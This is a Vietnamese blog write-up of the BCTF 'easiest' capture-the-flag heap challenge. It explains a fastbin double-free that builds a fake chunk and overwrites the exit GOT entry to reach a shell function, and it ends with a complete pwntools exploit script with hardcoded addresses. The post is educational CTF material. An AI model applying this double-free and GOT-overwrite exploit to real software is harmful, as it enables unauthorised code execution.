BCTF (pwn-easiest)

Cũng 1 thời gian dài không chơi exploit, nay mới có cơ hội làm thử một bài heap tương đối dễ 😀 . Nhận thấy mình lạc hậu so với người hiện đại quá.

Description:
Basic tech for pwner.
instance1: nc 39.96.9.148 9999
instance2 : nc 47.91.104.255 9999

Sau khi dành ít thời gian để reverse, mình thấy:
Screen Shot 2018-11-29 at 5.24.51 PMScreen Shot 2018-11-29 at 5.24.37 PM
Screen Shot 2018-11-29 at 5.29.47 PM

Hàm add cho phép khởi tạo với size và số thứ tự mình control được.
Hàm delete có vẻ cũng rất thoải mái, nó cho phép xoá và free với số thứ tự của node luôn.
Hàm binsh này có lẽ là đích tới, có vẻ bài này chỉ cần tìm 1 bug sao cho mình có 1 quyền write là xong (để đè GOT).
Với việc cho phép người dùng kiểm soát được cả thứ tự và độ dài cấp phát, mình nghĩ tới double free là trường hợp dễ nhất mà ta có thể lấy được quyền write.

ref: https://heap-exploitation.dhavalkapil.com/attacks/double_free.html

Hình dung các bước mình làm để trigger bug như sau:
add(0) -> add(1) -> del(1) -> del(0) (để bypass kernel check double free)-> del(1) -> add(1) -> add(2)
và size mình có thể chọn 1 trong những đoạn 16, 24, 32, 40, 48, 56, 64, 72, 80, 88 để khi free, bin sẽ là fastbin.

Sau khi trigger được lỗi, ta có thể thử khai thác với các bước như sau:
add(0) -> add(1) -> del(1) -> del(0) (để bypass kernel check double free)-> del(1) -> add(0,addr) -> add(1,value)
=> Không được vì có 1 đoạn check độ dài của chunk -> phải tìm một địa chỉ khác để có chunk size hợp lý.
tuỳ vào size mà ta control, ta có thể chọn 1 địa chỉ bất kì làm chunk ảo.
Scenerio trở thành:
add(0) -> add(1) -> del(1) -> del(0) (để bypass kernel check double free)-> del(1) -> add(0,fake_chunk) -> add(1) -> add(2) -> add(3,payload)
Khi đó khi fake chunk được tạo ra, thì toàn bộ cấu trúc của ta có thể control được, và next chunk ta có thể overwrite vào địa chỉ cần ghi
Exploit:

from pwn import *
import sys

def them(idx, length, content):
	r.sendline("1")
	r.sendline(str(idx))
	r.sendline(str(length))

	r.sendline(content)

def xoa(idx):
	r.sendline("2")
	r.sendline(str(idx))

def exploit(r):
	
	length=48

	them(0, length, "a")
	them(1, length, "b")

	xoa(1)
	xoa(0)
	xoa(1)

	payload = p64(fake_chunk)
	pause()	
	them(0, length, payload)

	them(1, length, "c"*8)
	them(2, length, "d"*8)

	payload = 'a'*22
	payload += p64(binsh)
	payload += p64(got_exit+6)
	payload += 'a'*15
	
	pause()
	them(3, length, payload)

	r.sendline("id")
	r.interactive()

fake_chunk = 0x60203a	
binsh = 0x400946
got_exit = 0x602080
r = process("./easiest")
exploit(r)

Trả lời

Điền thông tin vào ô dưới đây hoặc nhấn vào một biểu tượng để đăng nhập:

WordPress.com Logo

Bạn đang bình luận bằng tài khoản WordPress.com Đăng xuất /  Thay đổi )

Twitter picture

Bạn đang bình luận bằng tài khoản Twitter Đăng xuất /  Thay đổi )

Facebook photo

Bạn đang bình luận bằng tài khoản Facebook Đăng xuất /  Thay đổi )

Connecting to %s